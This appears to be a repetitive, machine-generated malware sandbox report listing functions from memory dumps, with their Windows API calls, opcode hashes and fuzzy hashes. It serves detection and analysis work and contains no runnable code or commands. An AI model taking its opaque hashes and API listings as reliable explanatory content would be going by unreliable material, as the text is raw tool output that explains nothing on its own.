Opcode ID: 0377fbbb74d5a59c0cbe0b094f049dbca880b3af4b0f4337324c5f9d8ccdcb4d
Instruction ID: 1eed5ef2162e54c42f0acc2a435c50a736538108b36b4163d6ebfba4b614608f
Opcode Fuzzy Hash: 0377fbbb74d5a59c0cbe0b094f049dbca880b3af4b0f4337324c5f9d8ccdcb4d
Instruction Fuzzy Hash: DC521BB8A08228CFCB65DF74C88869DB7B6BF88305F1181EAD549A3354DB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 010469FE, Relevance: 2.1, APIs: 1, Instructions: 617libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5ae50f42d654d07dae05266726ed68573a32ba85dcb20afdbf51806fa797c3cc
Instruction ID: b7c7921b9f9720f2118c9b78e4b2f3a32304f9d64b0a3c15d9735174f2c00310
Opcode Fuzzy Hash: 5ae50f42d654d07dae05266726ed68573a32ba85dcb20afdbf51806fa797c3cc
Instruction Fuzzy Hash: A4521AB8A08228CFCB65DF74C88869DB7B6BF88305F1181EAD549A3344DB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 01046A45, Relevance: 2.1, APIs: 1, Instructions: 610libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a666e277bda35b6b49ef53b05f0dfcd66f5a470457683a9847ef0e750f178285
Instruction ID: d44e3750e127ebafcfad37b198d3e9fad9cb97531913db9a54d81e7382086923
Opcode Fuzzy Hash: a666e277bda35b6b49ef53b05f0dfcd66f5a470457683a9847ef0e750f178285
Instruction Fuzzy Hash: 76521AB8A04228CFCB65DF74C88869DB7B6BF88305F1181EAD549A3344DB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 01046A8C, Relevance: 2.1, APIs: 1, Instructions: 603libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9d2d0dcd760715db8c51fb73219a6080345c9238b164ee62cd94791246c9da96
Instruction ID: 1ec6ea881dffe21e5b6da0240112ab84a9a03e5d192a7ce0ccb65d3e41d33c4e
Opcode Fuzzy Hash: 9d2d0dcd760715db8c51fb73219a6080345c9238b164ee62cd94791246c9da96
Instruction Fuzzy Hash: D6520AB8A04228CFCB65DF74C88869DB7B6BF88305F1181EAD54AA3354DB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 01046AD3, Relevance: 2.1, APIs: 1, Instructions: 596libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3ed495d1ec266506883c018bb8100da165aabd6c4897b1ebd8ff62b523dadba
Instruction ID: 3fe35edda8fba9f60fd8b914c83700397878b959d8e0dbb8998566d05a9feb67
Opcode Fuzzy Hash: a3ed495d1ec266506883c018bb8100da165aabd6c4897b1ebd8ff62b523dadba
Instruction Fuzzy Hash: 48521CB8A04228CFCB65DF74C88869DB7B6BF88305F2181EAD549A3354DB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 01046B1A, Relevance: 2.1, APIs: 1, Instructions: 589libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a59658ae0168474fea4fe11f958bf7606c6623622353ee703956223bbf2f0fe0
Instruction ID: 7a8056723aa5ba7b4950d92777f4f851c3e8ee48a55578ada1f979eb84e10bf5
Opcode Fuzzy Hash: a59658ae0168474fea4fe11f958bf7606c6623622353ee703956223bbf2f0fe0
Instruction Fuzzy Hash: 95521BB8A04228CFCB65DF74C88869DB7B6BF88305F1181EAD54AA3354DB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 01046B61, Relevance: 2.1, APIs: 1, Instructions: 580libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 338b1555f287f303cd5bf4d2435b94b3b8d35c31294b902bfd5f5717925cdcd2
Instruction ID: 73aa3b86730188f85e618f52ffb6015139b5cff072d8275361153333e0424b58
Opcode Fuzzy Hash: 338b1555f287f303cd5bf4d2435b94b3b8d35c31294b902bfd5f5717925cdcd2
Instruction Fuzzy Hash: F2521BB8A04228CFCB65DF74C88869DB7B6BF88305F1181EAD54AA3354DB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 01046BB5, Relevance: 2.1, APIs: 1, Instructions: 571libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bf88add7e3a91c278e70d22e161b00ac6a9de19a67ac9609e463d83439d64181
Instruction ID: ecd454ad9226b5d6b07df1839037ef1cab3f4b59dc5a14f0f697bf35c4d069bd
Opcode Fuzzy Hash: bf88add7e3a91c278e70d22e161b00ac6a9de19a67ac9609e463d83439d64181
Instruction Fuzzy Hash: 89421CB8A04228CFCB65DF74C88869DB7B6BF88305F1181EAD54AA3354DB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 01046BFC, Relevance: 2.1, APIs: 1, Instructions: 564libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 07c6641c0c1832d247adef08d942c30d47f979f7aaa9fafdc1599263be3281da
Instruction ID: 7aa85d26826b016a09425658e6a954e38efeefa22fbd3bd23fbcc159cbe18ae6
Opcode Fuzzy Hash: 07c6641c0c1832d247adef08d942c30d47f979f7aaa9fafdc1599263be3281da
Instruction Fuzzy Hash: 5E421CB8A04228CFCB65DF74C88869DB7B6BF88305F2181EAD549A3354DB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 01046C43, Relevance: 2.1, APIs: 1, Instructions: 557libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1e5360d3555361d7ab580e7bdf65e466cba5ec632a94a4deb8f1b7c70a3de199
Instruction ID: b8f9cc1a1dddd5896a0eb8d187ff9de70007b5aa3baa313043e231ecf9ca1bf0
Opcode Fuzzy Hash: 1e5360d3555361d7ab580e7bdf65e466cba5ec632a94a4deb8f1b7c70a3de199
Instruction Fuzzy Hash: 80421CB8A04228CFCB65DF74C88869DB7B6BF88305F1181EAD54AA3354CB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 01046C8A, Relevance: 2.0, APIs: 1, Instructions: 550libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 13eed4694c65db70f813582776a2c8faf32a6dad2fb68dffc4bf5683eaf9fb1b
Instruction ID: 5b557fdc435d202ea23b79e9e999e64af1727f7a44b18fbef68e6119766feb87
Opcode Fuzzy Hash: 13eed4694c65db70f813582776a2c8faf32a6dad2fb68dffc4bf5683eaf9fb1b
Instruction Fuzzy Hash: 0F421CB8A04228CFCB65DF74C88869DB7B6BF88305F1181EAD54AA3354CB359E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01046CD1, Relevance: 2.0, APIs: 1, Instructions: 543libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a130d64914db42100945e07e9efc9c80291606d805cc17b33fa657cb49b49c8a
Instruction ID: 4d33b893f7fccffd06730a5a64abbd369638ca34762a65c8af2bd3f34b19fe6b
Opcode Fuzzy Hash: a130d64914db42100945e07e9efc9c80291606d805cc17b33fa657cb49b49c8a
Instruction Fuzzy Hash: EE421CB8A04228CFCB65DF74C88869DB7B6BF88305F1181EAD54AA3354CB359E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01046D18, Relevance: 2.0, APIs: 1, Instructions: 536libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 70555498ceb22e3adb2348e00eb20f5bb235b4c0e8b1639fcbd980741ccce7fe
Instruction ID: 73b31b1b432bd60bb0895ea83909c7475b02f15a7dd60bc4b29ca523d61f679e
Opcode Fuzzy Hash: 70555498ceb22e3adb2348e00eb20f5bb235b4c0e8b1639fcbd980741ccce7fe
Instruction Fuzzy Hash: 25421DB8A04228CFCB65DF74C88869D77B6BF88305F2181EAD54AA3354CB359E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01046D75, Relevance: 2.0, APIs: 1, Instructions: 525libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a775754b5d92b36b4f0d4a9525501ddea8da631f0d49bde032cc20ba06813da0
Instruction ID: a579b46e35c87e80401efbd65fdc29a4fca1e55567429b2446efddd0681b0918
Opcode Fuzzy Hash: a775754b5d92b36b4f0d4a9525501ddea8da631f0d49bde032cc20ba06813da0
Instruction Fuzzy Hash: 1F320CB8A04228CFCB65DF74C88869D77B6BF88305F2181EAD54AA3354DB349E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01046DBC, Relevance: 2.0, APIs: 1, Instructions: 518libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6045e726aeaa7ebe1eb4cf710e73f0c9bcdf0decd54d4e3445e6280154c709c7
Instruction ID: 6f1dd5eff51bcb45efd81bd1ef5b409b4a7299622c5b8711908935a694e7f809
Opcode Fuzzy Hash: 6045e726aeaa7ebe1eb4cf710e73f0c9bcdf0decd54d4e3445e6280154c709c7
Instruction Fuzzy Hash: BD320BB8A04228CFCB65DF74C88869DB7B6BF88305F1181EAD54AA3354CB349E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01000264, Relevance: 1.8, APIs: 1, Instructions: 291libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01000489

Memory Dump Source

Source File: 00000014.00000002.5611519364.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c0ddc13fbf2749fdd8c5a9cedbadc86bc571c6e81de84ef47d8035a46631dcc1
Instruction ID: 3dc2cf619c5cb76d88daba495bf4c7b62f334e19bc7f4525768c5802fba9f8a5
Opcode Fuzzy Hash: c0ddc13fbf2749fdd8c5a9cedbadc86bc571c6e81de84ef47d8035a46631dcc1
Instruction Fuzzy Hash: BE218B70900248DFDB16DFB4C488AADBBB2FF89354F21856EE441AB285CB369881CF50

Uniqueness

Uniqueness Score: -1.00%

Function 014DAFE0, Relevance: 1.7, APIs: 1, Instructions: 248libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 014DB17F

Memory Dump Source

Source File: 00000014.00000002.5622948833.00000000014D0000.00000040.00000001.sdmp, Offset: 014D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a9824a8b523f933544497427e59ebf37ab6d5e12d78e3fa290e8b6ea86bedf03
Instruction ID: c525fae400f1b15186b4bbdd6b0f0b3f2844e0463674bbeb39771a257e026a1f
Opcode Fuzzy Hash: a9824a8b523f933544497427e59ebf37ab6d5e12d78e3fa290e8b6ea86bedf03
Instruction Fuzzy Hash: 0A91B130B043458FDB069BB8C854BAE7BF6AF86304F1585BAE501CB3A2EB74ED058751

Uniqueness

Uniqueness Score: -1.00%

Function 014DB120, Relevance: 1.6, APIs: 1, Instructions: 148libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 014DB17F

Memory Dump Source

Source File: 00000014.00000002.5622948833.00000000014D0000.00000040.00000001.sdmp, Offset: 014D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 891621e23ce7e455aa7a4ea957faa69dd6b4d71c187e0f13e078fabc3677dcdb
Instruction ID: 07b62b3dcbf222f1960fe8c7dd89da9c5923fae841358f5af84d3203523353ee
Opcode Fuzzy Hash: 891621e23ce7e455aa7a4ea957faa69dd6b4d71c187e0f13e078fabc3677dcdb
Instruction Fuzzy Hash: 5251A331B002059BCF04EBB4C894A9EB7F6FF89204B16896AD5129B351DF70ED45C791

Uniqueness

Uniqueness Score: -1.00%

Function 01009EF8, Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5611519364.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9d00b1d789bf7b904d6430fc5048349677e19cfd0c7da1484b3b7e66d05fb21
Instruction ID: 1c0b764b5b50c2c18d7c8ebb4d3ba3e401bd4edd5c1021d02f318f31ca64ab8f
Opcode Fuzzy Hash: d9d00b1d789bf7b904d6430fc5048349677e19cfd0c7da1484b3b7e66d05fb21
Instruction Fuzzy Hash: B2412371E043898FDB01CFB9C4442EEBFF5AF8A210F148AABD548E7291D7349845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0110C59B, Relevance: 1.6, APIs: 1, Instructions: 124threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(DAB97582,FDD79320), ref: 0110C69B

Memory Dump Source

Source File: 00000014.00000002.5614102256.000000000110C000.00000040.00000001.sdmp, Offset: 0110C000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: f9fb50f27f551e13976526d2bb5c5852c958c7c651811df5a8d1eb5fce216515
Instruction ID: 61e489bf1b2f5fea94554a0bbb052e570c47a73826bd4e13baf9971b0152370a
Opcode Fuzzy Hash: f9fb50f27f551e13976526d2bb5c5852c958c7c651811df5a8d1eb5fce216515
Instruction Fuzzy Hash: DB215771D043528BCBB68F388980BDA7BE1AF16350F1551F9D8499B396D3308984CB82

Uniqueness

Uniqueness Score: -1.00%

Function 1E1167ED, Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 1E11690A

Memory Dump Source

Source File: 00000014.00000002.5637573347.000000001E110000.00000040.00000001.sdmp, Offset: 1E110000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 364885b28905377a243ea7ba1877da02bab0e5987b6aa97cfa24720bf0fa6e50
Instruction ID: 9d56e5cba7bbd620676a5cc6c610a336943277fb4a35c3d1b20d8c2b7afef7dc
Opcode Fuzzy Hash: 364885b28905377a243ea7ba1877da02bab0e5987b6aa97cfa24720bf0fa6e50
Instruction Fuzzy Hash: 2251D2B1D0035D9FDF14CFA9C980ADEBBB1BF88310F24862AE815AB211D7719985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1E114A7C, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 1E11690A

Memory Dump Source

Source File: 00000014.00000002.5637573347.000000001E110000.00000040.00000001.sdmp, Offset: 1E110000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 0c160003a03eaa374898200d5e01bbd8b2a9251cd15933e8993276747633c277
Instruction ID: 27f815a658e998735b496d878f9485b8c7303d4e630a95888c2a6538f63d90c8
Opcode Fuzzy Hash: 0c160003a03eaa374898200d5e01bbd8b2a9251cd15933e8993276747633c277
Instruction Fuzzy Hash: E451B2B1D0030D9FDB14CFA9C984ADEBBB5BF48310F25862AE815AB210D7759985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1E11A144, Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 1E11B4E1

Memory Dump Source

Source File: 00000014.00000002.5637573347.000000001E110000.00000040.00000001.sdmp, Offset: 1E110000, based on PE: false

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 37051ba74e82fa25cb7d4909257ec9ffea0af68938545e58e3c7b5916b8d9a9c
Instruction ID: a27fbd943b87f140eb060c08ee25816d09807149fa36007d1df506d2b3dda77b
Opcode Fuzzy Hash: 37051ba74e82fa25cb7d4909257ec9ffea0af68938545e58e3c7b5916b8d9a9c
Instruction Fuzzy Hash: 1F410BB4900205DFDB14CF99C484E9ABBF5FF89314F24C559D51AAB321D774A881CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 014D5BD4, Relevance: 1.6, APIs: 1, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 014D90F9

Memory Dump Source

Source File: 00000014.00000002.5622948833.00000000014D0000.00000040.00000001.sdmp, Offset: 014D0000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 48ebda86bb847f643ca136766ffce180001de8946a2bd5e7d4cf232e81c2bb21
Instruction ID: deffbe33215c7dfaa1ada5b4be0f0320126aab000126bb37787fe78864f10f32
Opcode Fuzzy Hash: 48ebda86bb847f643ca136766ffce180001de8946a2bd5e7d4cf232e81c2bb21
Instruction Fuzzy Hash: B731F1B1D002589FDF20CFAAC894A9EFFF5AF48304F14842AE918AB310D7749945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 014D903E, Relevance: 1.6, APIs: 1, Instructions: 86registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 014D90F9

Memory Dump Source

Source File: 00000014.00000002.5622948833.00000000014D0000.00000040.00000001.sdmp, Offset: 014D0000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 657cab1039b67e6744a7b54d738261006e6ccc03fff2884d835e3f5c50f89bb8
Instruction ID: 7d1ce6a85c65492a66d3f7d9db9c32ce1a440901e2390b90b227948aea7e1b1d
Opcode Fuzzy Hash: 657cab1039b67e6744a7b54d738261006e6ccc03fff2884d835e3f5c50f89bb8
Instruction Fuzzy Hash: 8831EEB5D002589FDB20CFAAC894ADEFFF5AF48304F14842AE819AB310C7749945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 014D5BC8, Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,?,00000001,?), ref: 014D8E3C

Memory Dump Source

Source File: 00000014.00000002.5622948833.00000000014D0000.00000040.00000001.sdmp, Offset: 014D0000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: f764202ce4195d97bfc8abab870f81b4d30b54ceac2f6f6b5e52664783f56e7f
Instruction ID: ae92826b28b1fa6eca7b4d15c7ba2bfb04209922c3fd7d81fa33c3039d38febd
Opcode Fuzzy Hash: f764202ce4195d97bfc8abab870f81b4d30b54ceac2f6f6b5e52664783f56e7f
Instruction Fuzzy Hash: 0431CCB0D002499FDB10CF99C588A9EFFF5AF48314F28856AE809AB351C7759985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 014D8D7D, Relevance: 1.6, APIs: 1, Instructions: 82registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,?,00000001,?), ref: 014D8E3C

Memory Dump Source

Source File: 00000014.00000002.5622948833.00000000014D0000.00000040.00000001.sdmp, Offset: 014D0000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 7226cfb7887db03180191168cd6276f293d4dea29c20325889ecfe2e83853fde
Instruction ID: 2e9d348be7a7bd22083b612adf1489cd27659304523ef5468fb39de37a0e95f2
Opcode Fuzzy Hash: 7226cfb7887db03180191168cd6276f293d4dea29c20325889ecfe2e83853fde
Instruction Fuzzy Hash: F531FEB0D002498FDB14CF99C584A9EFFF5BF48314F28856AE409AB351C3759985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E11A54A, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1E11A5D7

Memory Dump Source

Source File: 00000014.00000002.5637573347.000000001E110000.00000040.00000001.sdmp, Offset: 1E110000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ece0f7f01c810be4842339767cac8fa4a41b55191463a0a50c40b76bb0e5856e
Instruction ID: 11c1280d17851f8faa62e3cdfdf996a500fc46298be014b32f75dcf22c15e25c
Opcode Fuzzy Hash: ece0f7f01c810be4842339767cac8fa4a41b55191463a0a50c40b76bb0e5856e
Instruction Fuzzy Hash: B92105B5D002589FDB10CFAAD484ADEFFF5EF48310F14851AE955A7251C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E11A550, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1E11A5D7

Memory Dump Source

Source File: 00000014.00000002.5637573347.000000001E110000.00000040.00000001.sdmp, Offset: 1E110000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 85005ad24db32e4f53a358a28a8817c30ee5291d9db7b1a46079497078914c77
Instruction ID: 74170716329070102fa1c13577b7f5e4b743fef89187c4fc930b9451c74652c7
Opcode Fuzzy Hash: 85005ad24db32e4f53a358a28a8817c30ee5291d9db7b1a46079497078914c77
Instruction Fuzzy Hash: 4C21E2B5D00208AFDB10CFAAD884ADEFBF9EF48310F14841AE915A7310C374A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0100E2FC, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

FindWindowW.USER32(00000000,00000000), ref: 0100F8A6

Memory Dump Source

Source File: 00000014.00000002.5611519364.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 7b6ad17adbc61dec97ca2bc6dc0b474478d8d2ec32b8de94aedb0f1165999bdd
Instruction ID: b7c67c887009cd10f6d209b15c402b57ac9fb9dd5588d679c714ebd2592f81f8
Opcode Fuzzy Hash: 7b6ad17adbc61dec97ca2bc6dc0b474478d8d2ec32b8de94aedb0f1165999bdd
Instruction Fuzzy Hash: FC2113B5C0021A9FEB24CF9AC484ADEFBF4FB89310F10856ED959B7240C374A644CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0100F828, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

FindWindowW.USER32(00000000,00000000), ref: 0100F8A6

Memory Dump Source

Source File: 00000014.00000002.5611519364.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: b08afe771abb6a40510b80e7b21a8ca63c3c5c99a572c289c5de1c6dffe6f79a
Instruction ID: 523563dfe2e8573272359438dbb4a090f7711ce7f3d83d63d28671fdcfc502ac
Opcode Fuzzy Hash: b08afe771abb6a40510b80e7b21a8ca63c3c5c99a572c289c5de1c6dffe6f79a
Instruction Fuzzy Hash: 972110B5C0021A8FEB24CF99D484ADEFBF1BB89310F24852ED459B7640C374AA45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01009FC8, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,01009F4A), ref: 0100A037

Memory Dump Source

Source File: 00000014.00000002.5611519364.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 9c145ee443be3dfb005776f270a4dd13182a1b75deb7efb5203463d428fe9cde
Instruction ID: 039e7ce144888eb1153bc9d47c3a53696f094657d9ba3d0b8d6bf0e81a2344e4
Opcode Fuzzy Hash: 9c145ee443be3dfb005776f270a4dd13182a1b75deb7efb5203463d428fe9cde
Instruction Fuzzy Hash: 261144B1C00259DBCB10CFA9C444BDEFBF4AF48324F14896AD418B7240D378A945CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 01001E44, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,01009F4A), ref: 0100A037

Memory Dump Source

Source File: 00000014.00000002.5611519364.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 7afe65dc5bb61faf7cdcb945c77b924700495d5d437396bc64e8aa9d5235e3e6
Instruction ID: cfa2b0e0846968bde90d310b357d355b7ee26282d30bd452c2b939a4a5a9a040
Opcode Fuzzy Hash: 7afe65dc5bb61faf7cdcb945c77b924700495d5d437396bc64e8aa9d5235e3e6
Instruction Fuzzy Hash: 741133B1C00619DBDB10CFAAC444BEEFBF4AF48310F14856AD918A7240D378A940CFE2

Uniqueness

Uniqueness Score: -1.00%

Function 0110C61E, Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(DAB97582,FDD79320), ref: 0110C69B

Memory Dump Source

Source File: 00000014.00000002.5614102256.000000000110C000.00000040.00000001.sdmp, Offset: 0110C000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 00871637feb61ea93a3c863fa959b974df819f49704c441654c69662e403e33f
Instruction ID: 25ea8462dd460a37100d384192506af6e56e76358818a883b6e5079506e003fa
Opcode Fuzzy Hash: 00871637feb61ea93a3c863fa959b974df819f49704c441654c69662e403e33f
Instruction Fuzzy Hash: 22112231D043528BCBBA8F38C980BDA7BE1AF16380F1551F9DC899B296D3355984CB82

Uniqueness

Uniqueness Score: -1.00%

Function 010A2AA9, Relevance: 1.6, APIs: 1, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,0001055C,010A2A89,00000800), ref: 010A2B1A

Memory Dump Source

Source File: 00000014.00000002.5613359453.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 40631a8674112495c72b73712750a216d79ad9d7ca599d40c7277617bdadd290
Instruction ID: 718a705ad168d5305a3160c83bb6cba39aaa9f66f01de79c86bbb537ffff1744
Opcode Fuzzy Hash: 40631a8674112495c72b73712750a216d79ad9d7ca599d40c7277617bdadd290
Instruction Fuzzy Hash: 8B1112B6D002499FDB10CFE9C544ADEFBF4AF88310F14882AD969A7600C374A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 1E1137C8, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 1E1157B6

Memory Dump Source

Source File: 00000014.00000002.5637573347.000000001E110000.00000040.00000001.sdmp, Offset: 1E110000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c8a8d5bbec30c405d205c0e321fca93b9650538ef668cf2095b5624635d24dc8
